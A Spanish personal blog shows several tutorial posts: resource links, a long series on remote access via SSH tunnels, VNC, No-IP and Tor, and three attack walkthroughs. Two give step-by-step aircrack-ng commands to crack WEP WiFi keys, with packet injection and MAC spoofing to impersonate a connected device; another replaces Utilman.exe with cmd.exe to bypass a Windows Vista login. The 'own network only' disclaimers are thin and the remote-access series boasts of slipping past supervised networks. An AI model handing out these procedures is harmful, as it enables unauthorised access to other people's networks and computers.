Mostrando entradas con la etiqueta Tutorial y Manuales. Mostrar todas las entradas
Mostrando entradas con la etiqueta Tutorial y Manuales. Mostrar todas las entradas

miércoles, 31 de julio de 2013

Apuntes Marea Verde

A estas alturas espero que todos conozcáis el movimiento Marea Verde.

De no ser así podemos resumir sus intereses en buscar la potenciación de la educación pública.

Y se les a ocurrido una idea magnífica, poner textos educativos en Internet, descargables, libres y gratuitos.

Con diversos textos de diversas materias y cursos.

Imprescindible darse un paseito por allí.
Os recomiendo los de tecnología, muy simples y didácticos .




http://www.apuntesmareaverde.org.es/





miércoles, 4 de enero de 2012

Silica - Jordi Mayne

Esta es una empresa que se dedica a la distribución de electrónica.

Tiene varias cosas que nos interesan:

Sus selecciones de hardware.



Y su centro de Literatura.



Pero no hubiésemos llegado a todo ello de no ser por Jordi Mayne.
Este señor es ingeniero de aplicaciones y al parecer trabaja para esta empresa.
Entre otras cosas tiene dejada por ahí documentación de altísima calidad y en español.

Por poner un ejemplo os recomiendo "sensores acondicionadores y procesadores de señal" .

Sus notas son pequeñas guías de uso o clases completas de técnica aplicada.

Curiosamente no pude encontrar esta documentación en la pagina de Silica, donde todo está en inglés. Así que os recomiendo otra fantástica pagina:



Donde podeís encontrar varias obras de Jordi Mayne, que tiene sección propia; pero también otros muchos artículos tan o más interesantes.


jueves, 31 de marzo de 2011

Esperanto

Supongo que la mayor parte de vosotros ya conocéis el Esperanto (Wikipedia).
Simplificando mucho, es una lengua artificial que se creó para conseguir que fuese internacional.
El día que tenga éxito total todos hablaremos Esperanto al menos como segundo idioma.
A día de hoy eso está un poco lejos.

Yo no puedo deciros nada sobre su facilidad o dificultad, solo hablo dos idiomas, con tacos y sin tacos; y este último de forma interrumpida.

No obstante la comunidad Esperantista es muy dinámica e importante, esto hace que tengamos cursos para aprender esta curiosa lengua.

Como presentación de la lengua este vídeo, consta de varias partes:








Quisiera destacar la página LERNU!.

En ella tenemos cursos, libros, chistes e infinidad de cosas relacionadas con este idioma.
Entre ellas el vídeo que has visto y del que puedes ver el resto en este enlace: Esperanto Estas.

Y para acceder al resto de la pagina:
http://es.lernu.net/index.php



sábado, 29 de mayo de 2010

Cuadernos De Formación


Recientemente AULIR a llegado a un acuerdo con Cenatic.
Y gracias a ello me entero de que Cenatic tiene una serie de cuadernos.
Estos cuadernos son una breve introducción a diverso software libre de gran difusión.

A día de hoy:

  1. Introducción al software de fuentes abiertas
  2. Firefox
  3. Evolution y Pidgin
  4. Gimp e Inkscape
  5. Writer y Calc
  6. Impress y Draw
  7. Base

Como puedes observar los últimos hacen referencia a distintos módulos del OpenOficce.
Son muy amenos, para todos los públicos, gratuitos e imprescindibles.

Para descargarlos:

http://web.cenatic.es/web/index.php?option=com_phocadownload&view=category&id=5


jueves, 9 de abril de 2009

Forat - Manuales para seres humanos




Esta pagina es digna de mención y de admiración, primero su lema, " La informática desde OTRO punto de vista".

El "OTRO" punto de vista, es el de nuestro vilipendiado GNU/Linux.
Así que desde este momento ya estamos como en casa.
Una pagina llena de trucos comentarios y consejos, sin desperdicio.

La sección que nos causa un tremendo respeto es la de los "Manuales para seres humanos", como puedes imaginar manuales de Ubuntu, por tanto aplicables a nuestro Kubuntu.

Los manuales son en su mayor parte guías breves, donde breve no significa que no estén muy detalladas, con amplias explicaciones, y fotos paso a paso.

Puedes aprender como instalar flash, apache, drivers, como recuperar discos duros dañados, etc, etc.

Manuales para seres humanos (Forat.info)

Forat.info (pagina principal)

lunes, 2 de febrero de 2009

Cursos Gratis

Realmente cursos, Manuales y Tutoriales gratis.

Una gran lista de cursos y otros materiales de aprendizaje gratuitos.
Están organizados por ramas temáticas.

Recomendable ojearlo si estas buscando alguno en concreto.

La lista es realmente inmensa y el requisito una dirección de correo.
Muy recomendable:

http://www.emagister.com/cursos-gratis/

jueves, 11 de diciembre de 2008

Reventar red WiFi con Asus Eee

Debido a las numerosas e insistentes peticiones, hemos desarrollado este pequeño tutorial para hacer más fácil la realización de esta tarea.

Os recuerdo nuevamente que este proceso se puede realizar sobre nuestra propia red, si perdimos la clave por ejemplo, y solo en este caso.
Cualquier otro uso es, cuando menos, poco ortodoxo.


Partimos de la premisa de usar un Asus Eee, pues es uno de los equipos más sencillos y baratos que existen en el mercado.
De esta forma demostramos la facilidad de ejecución.
Esto a su vez nos acarrea pequeños problemas de logistica, no tiene lector de CD ni DVD, su disco duro es mínimo. Su microprocesador es pequeño, la pantalla es mínima,....

Necesitamos un PEN, o una tarjeta SD, particularmente usé una tarjeta SD de 1G.

Nos basaremos en nuestras propias instruciones:
Como reventar red WiFi


En primer lugar desde otro equipo necesitamos preparar la herramienta necesaria para proceder.

Vamos a usar el sistema operativo, BackTrack.
Que ya comentamos en : Back Track
Existe una versión especial para PEN que podemos descargar directamente desde aqui.
No obstante os recomiendo entrar en la pagina de descargas, así podrás estar seguro del checksum y de que es la última versión.
Guarda el fichero en tu ordenador, recomiendo el escritorio.

Existen varias maneras de grabar esta ISO al PEN o al SD.
Vamos a usar la más facil de ellas.

Necesitamos el programa UNetbootin, del cual hicimos uso en GNU/Linux en un PEN.
Para descargarlo lo mejor es ir a su propia pagina de descargas.
El sistema es múltiplataforma, baja el que requieras.
Si necesitas instrucciones más amplias remitete a nuestro anterior enlace, desde donde tienes referencias a más documentación.

En este punto, debemos de tener el programa UNetbooting instalado y la ISO del BackTrack.
Generamos el SD o PEN de arranque mandandole al programa que use nuestra imagen ISO sobre la memoria deseada.

Una vez terminado el proceso introducimos la memoria SD o el PEN, según nuestra decisión previa, en el Asus Eee y ya podemos proceder.


Reventando la RED

Introducimos la tarjeta SD o el PEN en el equipo, que ya debería de estar.
El Asus Eee por defecto arranca desde su HD, así que al arrancar entramos en la configuración de la BIOS.
Una vez allí en el BOOT seleccionamos el disco HD y elegimos nuestra memoria.
Guardamos y salimos.

Ahora ya nos arranca directamente nuestro BackTrack.

Una vez arrancado:

Primero activamos el servicio.
(Atención a partir de este punto prestar mucha atención a lo que se debe escribir en la consola, es un error muy habitual el saltarse los espacios en blanco, o poner demasiados, en esos casos nos indicara un error).

abrir consola, el icono está abajo a la izquierda.
airmon-ng start wifi0 11
wlanconfig ath0 destroy

En la misma consola, rastreamos para ver emisoras en la zona

airodump-ng --write test ath1

Terminar con Ctrl + C

Miramos y anotamos los datos de la red a atacar.
Cojer tambien los datos de un equipo que este conectado {STATION}

Rastreamos de nuevo, acotando el equipo objetivo:

Siendo BSSID el numero del tipo xx:xx:xx:xx:xx:xx

Siendo CHANNEL, el numero de canal usado

Los signos {} no deben escribirse

airodump-ng --bssid {BSSID} --channel {CHANNEL} --write capturas ath1

Ya estamos capturando, para acelerar el proceso debemos inyectar paquetes.

Para inyectar paquetes:

abrir consola nueva
aireplay-ng --arpreplay -b {BSSID} -h {STATION} ath1

La inyección real de paquetes puede tardar un rato, no es efectiva hasta que nos salga el número de paquetes inyectados en pantalla.


Para comprobar el resultado:

Abrir consola nueva

aircrack-ng -a 1 -s capturas-01.cap

Si se han efectuado varias capturas cambiara el número del fichero capturas, por ejemplo capturas-02.cap

El programa debe darnos una respuesta en breves segundos, si no dispone de suficientes paquetes, intentará romper la clave por fuerza bruta.
En este caso sal (CTRL + C) y espera un poco más.



Cuando el proceso termine tendremos en pantalla un bonito código, nuestro objetivo.

El proceso completo suele durar unos 10 minutos, y se requieren unos 100.000 paquetes, pero esto es muy relativo.

Para que el equipo quede como estaba debes de una vez apagado el Backtrack, retirar la tarjeta SD.

¡ A JUGAR !




viernes, 24 de octubre de 2008

Conexión remota

Me han pedido que agrupe los artículos que escribimos hace más de un año explicando como hacer conexiones seguras.
Al parecer a algunos os ha parecido instructivo, pero os incomodaba la "versión" por capítulos, y nada más sencillo que copiarse uno mismo así que ahí va:



Conexión Remota (I) (Hardware)

Intro:

En principio lo que queremos como objetivo, es poder manejar nuestro ordenador desde cualquier sitio del mundo. Obviamente usando Internet.

Para demostrarlo voy a manejar mi ordenador viejo con su Kubuntu desde otro sitio con un Windows. Es decir voy a mezclar sistemas y vamos a usar varias tecnicas simultaneas.

Como quiero que todo el mundo sepa como funciona esto, en la medida que sepa explicarme, empezaré de cero. Para ello vamos a explicar como se conecta un ordenador.

-------------------------------------------

Comunicaciones:

En un ordenador podemos simplificar las comunicaciones a dos ámbitos Hardware y Software.

Hardware:

Damos por hecho que algo sabéis, o que por lo menos esta bien configurado, en caso contrario no estarías viendo este Blog.

El ordenador tiene varias formas de conectarse a Internet:

-RJ 45. es el conector de aspecto similar a la clavija del teléfono, pero un poco más ancha. Siempre que podáis elegir usar esta opción, sin lugar a dudas la mejor, y la que doy por hecho usas.

-USB, en realidad es una conexión serie directa al moden externo, ya veremos diferencias de estos.

-RS232. conector tipo D, por su forma, los equipos más recientes ya no lo traen, sobre todo los portátiles. su velocidad de conexión es menor que lo que se soporta en un ADSL. Solo se usan en Modens de línea convencional, no ADSL.

-Wifi. Solo recomendable para equipos portátiles o sitios con dificultad al cablear.

-Bluetooth. Apliquese todo lo del Wifi, pero en malo, malo.

-Fibra. Si tienes fibra y la usas no necesitas leer esto, eres un fenómeno y tienes un server.


El Moden:

-Moden router. puede ser Wifi o tener RJ45, en este último caso, también puede ir conectado a un Wifi aparte.
Sin lugar a dudas la mejor opción, permanece permanentemente conectado y permite conexión a varios equipos de forma simultanea y entre ellos directamente.
Suele ser ADSL ó Cable .

-USB, por regla general dependen del equipo, si este se apaga ellos se desconectan. No permiten mas que un PC .

Existen otros tipos: satélite, fibras, pares ADSL directos, redes propias, pero ya basta asi.


Conexión Remota (II) (Software)


Comunicaciones:

Ya sabemos como se conecta físicamente nuestro ordenador, asumamos que nuestro equipo se conecta a Internet. Debemos saber como lo hace:

Protocolo:

Es determinado por el software del sistema o red a la que nos conectamos, y se rige por normativas especificas.

No nos importa mucho como nos conectamos, pero en realidad debemos de cumplir unos protocolos para poderlo hacer. Y ¿Para qué?.
Pondré un ejemplo:

Voy conduciendo y me hace señas para detener el vehículo un señor vestido de verde.
Caso 1:
Haciendo un saludo militar y dandome los buenos días, me pide la documentación.
Un guardia civil
Caso 2:
Me dice: "Hola, ¿que tal?. Parece que va ha llover.
El jardinero.

Y lo sé de forma inmediata, pues en el primer caso a cumplido perfectamente con el protocolo.
En el ámbito ordenadil, si te quieres conectar has de cumplir unos requisitos, muy estrictos y concisos para que todo el mundo te entienda. Estos requisitos son independientes del sistema operativo.


Software:


Si nuestro sistema se va ha encargar de que cumplamos los protocolos, alguien tendrá que ocuparse de que es lo que queremos hacer, los programas. En nuestro caso necesitaremos varios como vamos a ir viendo.
En todo caso saber que cumplir el protocolo no significa nada, ahora es cuando debemos transmitir y cada servicio lo manejaremos de una forma distinta.







Conexión Remota (III) (IP)

IP:

Espero que a este punto todo este comprendido. Ahora veamos como se ordenan las conexiones.

Todo el mundo se interconecta y manda paquetes de datos, con la esperanza de que lleguen a su destinatario. Para ello tenemos que poner la dirección tanto de a quien se envía, como del remitente. Exacto, igual que si fuera una carta.
Esta dirección es el IP y consiste en una serie de 4 números del 0 al 255.
Ejemplo IP: 89.129.163.179

Este sistema funciona bastante bien así que se usa para más cosas. Tendremos una IP de cara al exterior, que es nuestra dirección de portal. Y otra IP dentro de nuestra red, que es la que detalla cual es nuestro equipo dentro de nuestro entorno. Esta sería la IP del equipo.

Este último caso, no se aplica si usamos modens serie, USB, u otro medio que no soporte conexión múltiple. Para que vamos a marcar que equipo es entre miles si solo es uno.

Pero ahora lo complicamos un poquito. Nuestra dirección no es fija, salvo que paguemos un plus, no nos guardan el buzón. Así que cada vez que nos conectamos nos dan una dirección distinta, IP dinámica.

Veamos con un ejemplo.
Soy el domador de pulgas del circo PACHIN PACHIN.
Si me quieres escribir:
Domador de pulgas (servicio o programa)
Carabana de las pulgas (IP del equipo)
dirección del circo (IP publica)

Pero claro el circo cambia de ciudad cada 15 días (IP Pública Dinámica)

En este enlace podéis ver la IP publica y como ver la privada para Win.

¿Cual es mi IP?


Conexión Remota (IV) (DNS y puertas)


DNS:

Ya conocemos nuestras IPs, es decir ya sabemos quienes somos en Internet y en Intranet.
Pero en el ejemplo que pusimos del circo, me sigue siendo muy difícil enviar la carta. Cada 15 días cambiaba de ciudad, es decir me tendrán que decir en que ciudad están de forma regular.

Bueno, eso lo hacen los servidores de DNS. A nuestro circo le pondremos una etiqueta "PACHIN PACHIN" y con esa etiqueta correos ya sabe en que ciudad se encuentra el circo.

En realidad es el circo el que cada vez que se mueve, si lo hace, se lo dice a correos.

Aún en el caso de que nunca se mueva siempre es más fácil recordar la etiqueta, que no las cuatro cifras.

En nuestro ejemplo:

Domador de pulgas (servicio o programa)
Caravana de las pulgas (IP del equipo)
circo PACHIN PACHIN (DNS)

Estas son las direcciones de Internet a las que estamos acostumbrados.

http://jmpascualsite.blogspot.com/ no es más que una forma de escribir la IP de este Blog.

Y esta te sonara mucho:

Http:// 72.14.207.191


En Win, bajando a la consola Dos, tienes dos instrucciones muy majas:

Tracert, que te indicará por donde se desarrolla la conexión (tracert nombre dominio)

nslookup, que te marcara las direcciones asignadas a una DNS (nslookup nombre dominio)


Puertas:

Pero ahora lo vamos a hacer aún más potente.
Mi caravana tiene: una puerta principal, una puerta trasera, una gatera y una ventana.

Las visitas quiero que entren por la puerta principal, los amigos por la trasera, el gato (adivinalo) y que mi amante salga por la ventana.

Pues un ordenador exige que le digas por donde tiene que entrar y se lo dices dándole el número de puerta (Gate).
Y el ordenador más modesto tiene miles de puertas, no como la caravana. Y además cada servicio tiene unos preasignados.


Conexión Remota (V) (seguridad SSH)

Ya sabemos como funciona todo y como lo vamos a hacer.

Encriptación:

Aún tenemos un problema.
Todo lo que se manda por Internet está en texto plano. Esto significa que si mandas una clave o un número de cuenta cualquiera que este escuchando lo puede ver.
Y sí siempre puedes tener a alguien escuchando, se les llama olfateadores.

En el caso de la carta que mandábamos al Domador de Pulgas, es como si el sobre no estuviese cerrado. Así el cartero podría leerlo.

La solución encriptarlo y lo hacemos con un programa SSH que se encarga de codificarlo. Para ello usa dos claves, una pública y otra privada. Es decir se encripta con una clave y solo se puede decodificar si tienes la otra.

Ejemplo real de clave publica SSH:

AAAAB3NzaC1kc3MAAACBAIF/hzwjwPsRNxgfuqPBTqw0SaCfcxQDT5Hpmrw
qAcBvle+4lRC6hIHoBZFoxPKrEZZY0WmTpO0PzxeYNkzRo6AYPUzP9dKbdRm
59lMwZTKukSs/bVQkICSETEIm68tD8XcUhZ9GQVq8BqIAHueAbnjZaz6ESJ3G3
AJX/93Cv2DzAAAAFQCMRUVV5hly61ccC85tqmq8ap7JKQAAAIA1Y9KLm+TKZ
jtGl9kPVOiN63hKmb1J55N6tH/z5iCcXnD/zQl0w/CnMmqXjUg5L8/6YtNZ4Eo+9
gyO4tCt5U014FEeHfgDpVAraxjTwF9f5La5TfB9Ja7ngS21EzNa6XkelxboTYgBu
wUzY+98xY6H0X6jZm/KMx/b6zGU5/HNNwAAAIBp+dlpstagxf7luhuvNFK2TF2
l3LlF5KCCg7k73039hOhwhYPOgyr6E1/I0NFjb2v0YftizMcutk5mAbV4snJ22YIe3
qpxeEDKw/Q5SMWRc9txBSbkKrZs4KFX8rIHdHAfuxZ5bbltl8/rmsw/w4dziB3flp

Supongo que el tamaño os hace una idea de la complejidad de la encriptación.

Tuneles:

Ya podemos comunicarnos sin que nadie sepa lo que hacemos, pues para hacer aún más eficaz la comunicación vamos a realizar un túnel.
Volvamos al Circo, sería ideal si de alguna forma me hiciera amigo del mago y me diera una cabina de teletransporte al estilo Star Trek. De esta forma el cartero se mete en la cabina y aparece mágicamente en medio del circo.

Pues podemos hacerlo, para ello al programa SSH le vamos a decir que determinada "puerta" de mi equipo, está en el equipo receptor y además le podemos cambiar la puerta en el otro equipo, incluso que este solo haga de puente, para conectar con un tercero de la red lejana.


En el ejemplo del circo todo lo que yo tiro por la ventana le aparece al Domador de Pulgas por su propia ventana. Gracias al mago (SSH).

Lamentablemente la magia no existe, tiene truco.
En realidad en mi ventana tengo a los de prosegur que agarran mi mensaje y lo meten al camión blindado. Llaman al Circo que les dice donde están ese día y sin parar ni pá mear, se lo entregan al Domador, avisándole dando golpecitos en su ventana.
Cuando este abre la ventana le piden el santo y seña, que por supuesto le he dado yo previamente. Aún le queda desencriptarlo.




Por ejemplo esta página usa el protocolo HTTP que está en el puerto 80.




Conexión Remota (VI) (NO-IP)

Lo primero que vamos ha hacer, es conseguir saber como llamar a nuestro ordenador siempre. Para una determinada conexión nos puede valer mirando nuestra IP, pero ya hemos visto que cambiara con cada conexión.

Existe un servicio, varios en realidad, pero solo veremos este, No-IP.

No-IP.com


Este servicio nos va ha facilitar, previo registro gratuito, una dirección de Internet, a elegir entre varias opciones. De tal manera que apartir de ese momento se pueda localizar a nuestro ordenador con una dirección del orden: mynombre.myservicio.com


En primer lugar nos registramos, nos piden muchos datos, en esta página:
NO-IP sign-up

y cuando todo este en regla nos bajamos el programa para nuestro sistema:
Para Linux seguro que lo tienes en tus repositorios, si es así descargarlo de ellos.
NO-IP download

El proceso de dada de alta no tiene por que ser inmediato, no lo será, así que a lo mejor tienes que esperar para saber si funciona.

Instala el programa en tu equipo y darle todos los datos de la cuenta, y cuando todo ande, entra en la página de NO-IP y logeate. Si todo va bien la IP que ellos dicen que tienes debe ser la que realmente tienes. Para comprobar que funciona prueba a desconectar el moden y resetear tu ordenador varias veces. Debe de cambiar automáticamente.
Si el programa no se pone en marcha solo, acuerdate de meterlo en los programas de inicio.

El programa lo que hace es conectarse al servicio NO-IP y decirle cual es tu IP, con lo cual ellos cambian las redirecciones. Si este servicio no lo usas al menos una vez al mes (creo), te mandaran un aviso y posteriormente borraran tu cuenta.

Conexion remota (VII) (UltraVNC)

En primer lugar vamos a crear una red VNC ( Virtual Network Computing).
Dado que está muy bien explicado que es el VNC mirar este enlace a la Wikipedia:
VNC (Wikipedia)

Para que funcione el sistema hemos de poner tanto un servidor como un cliente.
El servidor es el ordenador al que queremos acceder, en nuestro ejemplo un Linux.
Como Linux ya está preparado para ello, en KDE es Krfb, se activa y ya está. En Kubuntu está en Internet, Krfb (escritorio compartido).
Se puede hacer por invitaciones o permanente.
El cliente es el Krdc (al lado del otro)

Si quisieramos hacerlo en Win, el sistema que tiene no es estándar con lo cual debemos de usar un programa server VNC. Como Windows tampoco suministra ningún programa cliente, nos vamos a descargar el programa UltraVNC:

UltraVNC
UltraVNC Download

En nuestro ejemplo solo encestaríamos el Viewer, que es el cliente.
Os hago notar que el programa cliente es un ejecutable, de hecho yo lo llevo en una llave USB.
Si queréis que el servidor sea un Windows este deberá ejecutar el server.

Con el programa (viewer) ya en ejecución, nos pedirá una serie de parámetros. Lo más importante, el nombre del VNC server, que es la dirección del ordenador al cual queremos acceder. La dirección que conseguimos en nuestra cuenta No-IP.

Si tenéis un firewall abrir los puertos (por defecto 5900 , 5800 la versión Java).
quedara así: Dirección No-IP::5900 (no es necesario el puerto si no lo cambiáis).

Este programa también nos permite usar un fichero de encriptamiento para sus transmisiones, con lo cual podéis conseguir conexiones seguras solo con este sistema, pero la encriptación no es Open, lo que limita su uso.

En la página de UltraVNC tenéis información en español y detallada en Ingles. El programa funciona muy bien.

Si usáis router acordaros de redireccionar el puerto al equipo que tenga el server.
Lo sé, este paso es toda una aventura, pero el resultado es muy satisfactorio.

Una advertencia si queréis conectaros a un equipo de vuestra propia red. aún cuando sea el que dé servicio Internet, no lo direccionéis con No-IP. El router no conseguirá hablar con el DNS externo y no localizará el equipo.
Para conexiones locales usar la IP local.

Conexion Remota (VIII Putty-SSH)

En realidad cuando llegueis aquí y si todo fue de forma satisfactoria, ya podeis manejar el equipo remotamente con el VNC.

En este paso vamos a subir el nivel de seguridad y primero consigamos el SSH.

En GNU/Linux lo tenemos en los repositorios y cargaremos el (open ssh-server), tambien disponemos del cliente. Para más información:
http://www.openssh.com/

Nos creara un grupo del sistema el ssh, en el cual debemos de introducir al usuario que queramos tenga acceso.
Debemos de editar el fichero de configuración del ssh ( /etc/ssh/sshd_config)
Tiene muchas opciones, pero como mínimo debemos especificarle el puerto en el que va ha permanecer escuchando.

# Wath ports
Port (nº del puerto)

Debe de quedar muy claro que este es el puerto de SSH y se puede usar para cualquier tipo de comunicación, todo lo que se reciba por aquí, lo redirigirá el equipo a donde le digamos desde el cliente. Generalmente el Local Host, pero puede ser cualquier cosa accesible desde este equipo.
Es decir solo necesitamos un equipo en toda una red, y dentro de este equipo podríamos hacerlo todo con un solo tunel SSH.

Este puerto ha de estar abierto en el router y dirigido al equipo servidor.

Como cliente usaremos este otro programa:
PuTTY

No obstante os recomiendo la versión ya conocida de PortableApps:
PuTTY Portable

Ya en el en /Session le especificamos nuestra dirección de NO-IP y el puerto que hemos puesto para el tunel SSH.
En /SSH/Tunnels/ generamos un tunel (origen) puerto 5900, (destino) localhost:5900. Si es otro equipo u otro puerto obrar en consecuencia.
localhost= 127.0.0.1(preferiblemente no useis la IP)

Cuando hagamos la conexión nos pedirá en una consola nombre de usuario y contraseña. Si nos deja acceder ya estamos conectados en un tunel SSH.

Para que el programa VNC lo use, no darle la dirección del equipo remoto sino decirle que el equipo es el localhost:5900. El tunel se encargará de dirigirlo al remoto.

Conexion Remota (IX - Rizando el rizo - Tor)

Solo como notas:

Podéis usar el UltraVNC contra otro UltraVNC, por ejemplo en Win, con llave de encriptamiento y bajo un tunel SSH. La conexión será segurísima.

Tened en cuenta que cada paso que hagamos en seguridad, nos quitara algo de velocidad en el VNC.

PuTTY da acceso total como consola, y sirve también por sí solo para manejar un equipo remoto igual que si estuviéramos allí.

Os aconsejo que desactivéis del SSH el acceso del root, cuantas menos opciones, menos problemas.

Puesto que las claves de acceso local (por teclado) de los usuarios, suelen ser pijadas y sin rigor os aconsejo que la conexión remota sea con un usuario con una clave especialmente segura. Tanto la SSH como la VNC. Y que ningún otro usuario tenga acceso remoto.

Si usáis la conexión SSH, anular el puerto asignado al VNC en el router, de tal manera que solo puedan darse conexiones SSH.

Y solo para los aún más aventureros.
Proyecto Tor

En Español, muy interesante.

Con las conexiones que hemos visto hasta ahora siempre delatas donde está el servidor y el cliente, pues los mensajes parten y terminan siempre en las mismas IPs.

Con los programas de que disponemos en Tor haremos que cuando nos conectemos no lo hagamos al destino sino que lo hacemos a un equipo, este a otro, a otro, otro, ... hasta el servidor y la contestación hará el retorno siguiendo la misma política, pero por otros equipos.
Esto sucede continuamente, cambiando constantemente los equipos involucrados (nodos).
Con esto conseguimos que nadie sepa quien somos ni con quien nos comunicamos.
Navegación anónima. y sobre la red Tor podemos usar el tunel SSH y encriptaciones al gusto.

¿Alguien da más?


Nota:
Lo sé, ha sido largo, quizá pesado, pero espero que a alguno os pueda ser de utilidad. Yo lo uso y sobre redes que están totalmente supervisadas, con proxys, espías y logs automáticos. Y funciona.

lunes, 15 de septiembre de 2008

Como reventar Windows Vista

Nuestro objetivo es muy simple.
Supongamos que olvidamos las claves de acceso a "nuestro" Windows Vista.
Necesitamos entrar en el sistema para poder cambiar las claves y poder volver a usarlo.
Aquí quiero hacer notar que si solo quisiésemos recuperar algún fichero, la cosa sería más sencilla.

Podemos usar una pequeña treta, un error de seguridad.

El Windows Vista, en su pagina de selección de usuarios, dispone de un pequeño icono, abajo a la izquierda. Con este podemos llamar al programa de ayudas, texto más grande, lectura automática y otras lindezas.
Este programa se llama Utilman.exe.
Procedemos a engañar al sistema.

Usamos una distribución de Linux, en este caso Puppy, que a día de hoy aún no he visto sistema que no arranque con el.

Montamos la unidad donde se encuentra el Vista, en este caso sda1
Para ello picamos en el icono de un USB, llamado mount.
Generalmente será la partición más grande de tipo ntfs , pulsamos en mount.

Arrancamos la consola que está en Utility, Rxvt Terminal emulator.

Ya en la consola:

cd /
cd mnt
cd sda1
cd Windows
cd System32
mv Utilman.exe Utilman.old
cp cmd.exe Utilman.exe

Esta serie de códigos hace lo siguiente:
bajamos al directorio raíz
entramos al directorio de montaje de las unidades
entramos en la unidad del Win , en este caso sda1
entramos al directorio Windows
entramos al directorio del sistema
renombramos el programa a .old, para poder revertir la operación
copiamos el programa de consola de Win y le ponemos el nombre del de utilidades.

Ya podemos reiniciar el ordenador en Vista.

Cuando salga la pantalla de introducción de usuario, tenemos dos opciones. Podemos picar en el icono de las utilidades o pulsar control + U.

Saldrá una pantalla de consola, avisándonos de los errores que hemos provocado.

En la consola de Vista escribimos:

control userpasswords2


Se abrirá el gestor de contraseñas.
Ya podemos cambiar la contraseña.

El proceso completo dura 3,5 minutos, desde el momento en el que arrancamos el sistema.
Puedes ver un vídeo en tiempo real en el que reviento mi propio equipo, siguiendo paso a paso esta guía.








Todo lo aquí mencionado ha sido provocado por el blog 404 .
En el se hace referencia al vídeo de origen, que hace lo mismo, pero con otro sistema. En compensación se ve muy bien:
Offensive-security.com vídeo

viernes, 23 de mayo de 2008

como reventar red WIFI

Vamos a ver como se puede reventar la clave WEB de una red inalambrica.

Si, es posible, solo necesitas un GNU/Linux y paciencia.

Nos vamos a basar en los apuntes realizados en esta pagina:
http://servomac.blogspot.com/2006/09/crackear-redes-wifi-con-wep_20.html

A la cual le estamos enormemente agradecidos, pues salvando pequeños detalles las instrucciones son muy precisas.

Es preciso saber que vamos ha hacer.
Básicamente cuando se envían mensajes en una red WEB, se codifican usando una contraseña. Bien, tarde o temprano empezaran a repetirse las tramas de codificación. Cuando esto suceda podremos obtener la clave de codificación y con esa llave ya tendremos acceso total.
Es imprescindible hacer notar que la longitud de la clave solo sirve para retardar el momento en el que se repiten las codificaciones.
Cuanto más tráfico soporte la red más rápido romperemos la clave.

aircrack-ng

En primer lugar necesitamos el programa aircrack-ng, que está en los repositorios.

Una vez instalado y si queremos saber sus opciones, que son muchas, desde un terminal: aircrack-ng --help

Necesitamos que la tarjeta WiFi esté en versión fisgoneo, para ello, en consola:

iwconfig

Nos dará mucha información del sistema WiFi, claves WEP, modos, y dispositivos WiFi activos.

iwconfig eth1 mode monitor

Siendo eth1 el dispositivo WiFi, si el tuyo es otro cambiarlo en consecuencia.

Ya podemos capturar, ¿O NO?.
La última versión de Kubuntu 8.04 marca el error 8B06, pues el dispositivo está ocupado, cosa que no sucedía antes.
Si es tu caso, liberemoslo a lo bestia:

ifconfig eth1 down
iwconfig eth1 mode monitor

Bueno, ya podemos capturar así que en la consola:

airodump-ng --write capturas eth1


Siendo "capturas" el fichero resultado (.cap) que se grabara en el directorio Home/Usuario.
Siendo eth1 el dispositivo WiFi, igual que antes.

Una vez realizado esto la consola nos mostrará los datos de los dispositivos WiFi de los alrededores. Es muy interesante ver los datos, pero posteriormente nos van ha hacer falta dos:
La MAC del BSSID, sobretodo la que queremos abrir.
La MAC de un ordenador conectado a esa BSSID.

La tabla nos muestra todos los dispositivos y emparejamientos, codificaciones, etc.

El proceso, según el tráfico, puede llevar de horas a semanas.

ACELERANDO EL PROCESO

Supongo que quieres tardar un poquito menos.......

Pues vamos ha hacernos pasar por un equipo que ya está conectado, cambiamos nuestra MAC y metemos paquetes. Al no disponer de permisos solo generaremos paquetes erróneos, ruido y conflictos en la red. Dicho de otra forma, mucho más tráfico.

Abrimos otra consola, anotamos la MAC del BSSID y de un ordenador que esté enlazado a él.
Para saber los datos míralo en la consola que ya tenemos funcionando.

aireplay-ng --arpreplay -b MACdelBSSID -h MACdeSTATION eth1

por ejemplo:

aireplay-ng --arpreplay -b 00:11:50:81:82:52 -h 00:80:5A:22:0F:18 eth1

Siendo eth1 el dispositivo.

Al cabo de un rato estaremos inyectando paquetes. ¿O NO?
Pues en ocasiones, NO.

En primer lugar algunas tarjetas no lo permiten y se acabo.
En otros casos no podemos inyectar, pues nuestra tarjeta no deja que le cambiemos la MAC, es mi caso. Veamos.

CAMBIANDO LA MAC.

Solo si no pudimos inyectar paquetes.
Necesitamos el programa macchanger, está en los repositorios, no obstante, para muchas distros:

macchanger en Alvaro's Site

Ejecutarlo desde "ejecutar orden" :

macchanger-gtk

Debemos especificar:

En opciones - Specific MAC
En Network - el dispositivo, por ejemplo eth1
En specific MAC - La MAC que queremos forzar, la de la STATION
Ahora ya podemos volver a intentar la inyección de paquetes.


Y POR ÚLTIMO


Dejemos el sistema funcionando el máximo posible, necesitamos varios millones de IVs.
Todo lo que no hagamos capturando paquetes, lo intentara por fuerza bruta, cosa mucho más lenta.
Paremos los dos programas en las dos consolas ( Crt+C )

aircrack-ng -a 1 -s capturas-01.cap

Después de elegir el BSSID, nos ofrecerá la clave de codificación.

Si no tenemos suficientes paquetes el programa intentará por diversos métodos darnos la solución, incluida la fuerza bruta sobre el código.

Recuerda: cuantos más paquetes más rápido.

Y ya sabes, prueba sobre tu red, que no se mosqueé el vecino

jueves, 6 de marzo de 2008

Linux en un Pendrive



Ayer mismo os dije que si no erais muy sibaritas podíais tener Linux en un Pen.

Aquí vamos a ver como y como primera nota, es muy fácil.

Antes de nada advertiros de que vamos a ver dos sistemas y empezamos por el más sencillo.
Cuando decía de no ser muy puntillosos es que lo que vimos ayer el Mandriva Flash es en Español, estos no.
No obstante si que admite teclado y otras lindezas, y con un poquito de conocimiento si se pueden colocar diccionarios y otras cuestiones. No obstante por defecto está en Ingles.

Para empezar vamos a usar una derivación de una derivación de Mandriva.

Nos basamos en las instrucciones de esta pagina:
http://www.pendrivelinux.com

Que están en Ingles, así que os digo:
Necesitamos un Pen de 4G.
Necesitamos este fichero .Zip: PendriveLinux2008.

Dado que sacan versiones constantemente, comprueba que es la última en esta pagina:
http://sourceforge.net/project/showfiles.php?group_id=197880

Y ahora veamos como se instala, que es para quedarse pasmado:
(léelo entero antes de proseguir)

  1. Formatea el Pen en FAT32, si no lo está.
  2. Descomprime el ZIP sobre el PEN.
Atención ahora que esto es sumamente importante:


3. DESDE WINDOWS, ESTANDO EN EL PEN EJECUTA makeboot.bat.
